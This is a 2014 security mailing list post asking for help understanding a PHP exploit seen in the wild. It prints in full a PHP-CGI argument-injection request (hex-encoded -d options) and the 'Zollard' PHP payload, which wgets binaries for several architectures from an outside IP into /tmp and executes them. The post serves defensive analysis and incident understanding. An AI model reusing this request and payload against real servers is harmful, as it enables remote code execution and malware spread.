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Date: Sat, 11 Oct 2014 06:28:04 +1100 (EST)
From: Dave Horsfall <dave@...sfall.org>
To: OSS Security <oss-security@...ts.openwall.com>
Subject: What does this PHP exploit do?

My apologies if this is off-topic for this list, but out of all the 
security lists of which I am a member this seems to be the closest one 
that fits, so please point me to a more appropriate one in that case..

I'm trying to figure out what this exploit does; it started around the 
time that Shellshock did, but I don't think that they're related.

It downloads binaries for several architectures (even a MIPS) which 
amongst other things futzes around with IPTABLES (including blocking the 
TELNET port) and appears to be self-reproducing.

The hex-encoded stuff in the script below decodes to 

    "-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-n" 

but my PHP-fu doesn't quite extend that far (and that "safe_mode=off" 
looks a bit suss).

Script below, kindly supplied by 0wned boxes the world over (in this case, 
Korea):

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (compatible; Zollard; Linux)
Content-Type: application/x-www-form-urlencoded
Content-Length: 1817
Connection: close

<?php
echo "Zollard";
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
 $disablefunc = str_replace(" ","",$disablefunc);
 $disablefunc = explode(",",$disablefunc);
}
function myshellexec($cmd)
{
 global $disablefunc;
 $result = "";
 if (!empty($cmd))
 {
  if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  elseif (($result = `$cmd`) !== FALSE) {}
  elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_resource($fp = popen($cmd,"r")))
  {
   $result = "";
   while(!feof($fp)) {$result .= fread($fp,1024);}
   pclose($fp);
  }
 }
 return $result;
}
myshellexec("rm -rf /tmp/armeabi;wget -P /tmp http://119.206.52.15:58455/armeabi;chmod +x /tmp/armeabi");
myshellexec("rm -rf /tmp/arm;wget -P /tmp http://119.206.52.15:58455/arm;chmod +x /tmp/arm");
myshellexec("rm -rf /tmp/ppc;wget -P /tmp http://119.206.52.15:58455/ppc;chmod +x /tmp/ppc");
myshellexec("rm -rf /tmp/mips;wget -P /tmp http://119.206.52.15:58455/mips;chmod +x /tmp/mips");
myshellexec("rm -rf /tmp/mipsel;wget -P /tmp http://119.206.52.15:58455/mipsel;chmod +x /tmp/mipsel");
myshellexec("rm -rf /tmp/x86;wget -P /tmp http://119.206.52.15:58455/x86;chmod +x /tmp/x86");
myshellexec("rm -rf /tmp/nodes;wget -P /tmp http://119.206.52.15:58455/nodes;chmod +x /tmp/nodes");
myshellexec("rm -rf /tmp/sig;wget -P /tmp http://119.206.52.15:58455/sig;chmod +x /tmp/sig");
myshellexec("/tmp/armeabi;/tmp/arm;/tmp/ppc;/tmp/mips;/tmp/mipsel;/tmp/x86;");

-- Dave

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